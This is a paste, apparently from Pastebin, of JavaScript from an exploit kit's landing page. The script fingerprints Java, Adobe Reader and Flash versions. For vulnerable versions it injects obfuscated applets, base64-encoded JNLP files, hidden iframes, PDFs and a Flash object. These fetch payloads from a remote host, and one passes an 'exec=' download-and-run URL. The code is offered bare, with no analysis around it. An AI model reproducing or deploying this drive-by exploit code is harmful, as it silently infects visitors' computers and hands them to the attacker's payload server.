- p_version = [0, 0, 0, 0];
- } if (f_version != null) {
- f_version = f_version.split(",");
- } else {
- f_version = [0, 0, 0, 0];
- }
- function asfwe(aa) {
- if (aa == 1) return ffbgrnth5we('<applet code="A_dsgweed.class" archive="http://1785839722-7.canfut.ru/1396402140.jar"><param name="ldcrlio" value="AhhjyHHx3qrqLD3wwk38uE75nh8inH5HxLD4GlwxGlHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
- if (aa == 2) return ffbgrnth5we('<applet><param name="jnlp_href" value="dfwqwfwew.jnlp" /><param name="jnlp_embedded" value="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJpdHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgICA8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAgICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iaHR0cDovLzE3ODU4Mzk3MjItNy5jYW5mdXQucnUvMTM5NjQwMjE0MC5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbmFtZT0iQUZ1Y2sgT2ZmIiBoZWlnaHQ9IjEiICAgd2lkdGg9IjEiIG1haW4tY2xhc3M9IkFfZHNnd2VlZCI+DQogICAgIDxwYXJhbSB2YWx1ZT0idHJ1ZSIgbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgLz4NCjxwYXJhbSBuYW1lPSJsZGNybGlvIiB2YWx1ZT0iQWhoanlISHgzcXJxTEQzd3drMzh1RTc1bmg4aW5INUh4TEQ0R2x3eEdsSHciPg0KPHBhcmFtIG5hbWU9InQiIHZhbHVlPSIwIj4NCjxwYXJhbSBuYW1lPSJ0dCIgdmFsdWU9IjAiPg0KICA8L2FwcGxldC1kZXNjPg0KPC9qbmxwPg==" /></applet>');
- if (aa == 3) return ffbgrnth5we('<applet> <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" /> <param name="jnlp_embedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9IiI+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0KICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCiAgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+DQogICAgICAgICAgICA8amFyIGhyZWY9Imh0dHA6Ly8xNzg1ODM5NzIyLTcuY2FuZnV0LnJ1LzEzOTY0MDIxNDAuamFyIiBtYWluPSJ0cnVlIiAvPg0KICAgICAgICAgICAgPC9yZXNvdXJjZXM+DQogICAgICAgICAgICA8amZ4OmphdmFmeC1kZXNjIG1haW4tY2xhc3M9IlJhZHZhIiBwcmVsb2FkZXItY2xhc3M9IkFfZHNnd2VlZCIgbmFtZT0iQXBwIi8+DQogICAgICAgICAgICA8YXBwbGV0LWRlc2MgbmFtZT0iQXNkZiIgbWFpbi1jbGFzcz0iVmFzZGEiIHdpZHRoPSIzIiBoZWlnaHQ9IjMiPg0KICAgICAgICAgICAgPC9hcHBsZXQtZGVzYz48L2pubHA+" /> <param name="javafx_version" value="2.0+" /> <param name="ldcrlio" value="AhhjyHHx3qrqLD3wwk38uE75nh8inH5HxLD4GlwxGlHw" /> <param name="t" value="0" /> <param name="tt" value="0" /> </applet>');
- }
- java_enable = 0;
- java_run = 0;
- if (j_version[0] > 0 && j_version[1] < 7) {
- java_enable = 1;
- java_run = 1;
- }
- if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17) {
- java_enable = 1;
- java_run = 2;
- }
- if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21) {
- java_enable = 1;
- java_run = 3;
- }
- if (java_run > 0) asfwe(java_run);
- function fg(url, width, height) {
- var s1 = document.createElement("if26ra1me".replace(/[0-9]/g, ""));
- s1["s24etA104ttribute".replace(/[0-9]/g, "")]("sr46c".replace(/[0-9]/g, ""), url);
- s1["se104tAt108tribute".replace(/[0-9]/g, "")]("w6idt89h".replace(/[0-9]/g, ""), width);
- s1["s65etAttr16ibute".replace(/[0-9]/g, "")]("he34igh63t".replace(/[0-9]/g, ""), height);
- document.body.appendChild(s1);
- }
- function createFlashMarkup(width, height, swfurl, url) {
- var obj = document.createElement('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="' + width + '" height="' + height + '">');
- var p_m = document.createElement("param");
- p_m.setAttribute("name", "movie");
- p_m.setAttribute("value", swfurl);
- var p_m2 = document.createElement("param");
- p_m2.setAttribute("name", "FlashVars");
- p_m2.setAttribute("value", url);
- obj.appendChild(p_m);
- obj.appendChild(p_m2);
- document.body.appendChild(obj);
- }
- if (java_enable == 1) {
- setTimeout('fg("http://1785839722-7.canfut.ru/1396402140.htm","79","95")', 10000);
- } else {
- fg("http://1785839722-7.canfut.ru/1396402140.htm", "83", "94");
- } if ((p_version[0] == 8) || (p_version[0] == 9 && p_version[1] <= 3)) {
- if (java_enable == 1) {
- setTimeout('fg("http://1785839722-7.canfut.ru/1396402140.pdf","98","70")', 7000);
- } else {
- fg("http://1785839722-7.canfut.ru/1396402140.pdf", "74", "93");
- }
- }
- function CheckVersion11(f_version) {
- if (f_version[0] != 11) return false;
- if (f_version[1] > 9) return false;
- if (f_version[1] == 9 && f_version[2] > 900) return false;
- if (f_version[1] == 9 && f_version[2] == 900 && f_version[3] > 170) return false;
- return true;
- }
- function CheckVersion12(f_version) {
- if (f_version[0] != "12") return false;
- if (f_version[1] == 0 && f_version[2] == 0 && f_version[3] == 38) return true;
- if (f_version[1] == 0 && f_version[2] == 0 && f_version[3] == 43) return true;
- return false;
- }
- if (CheckVersion11(f_version) || CheckVersion12(f_version)) {
- createFlashMarkup("73", "81", "http://1785839722-7.canfut.ru/1396402140.swf", "exec=http://1785839722-7.canfut.ru/f/1396402140/7");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement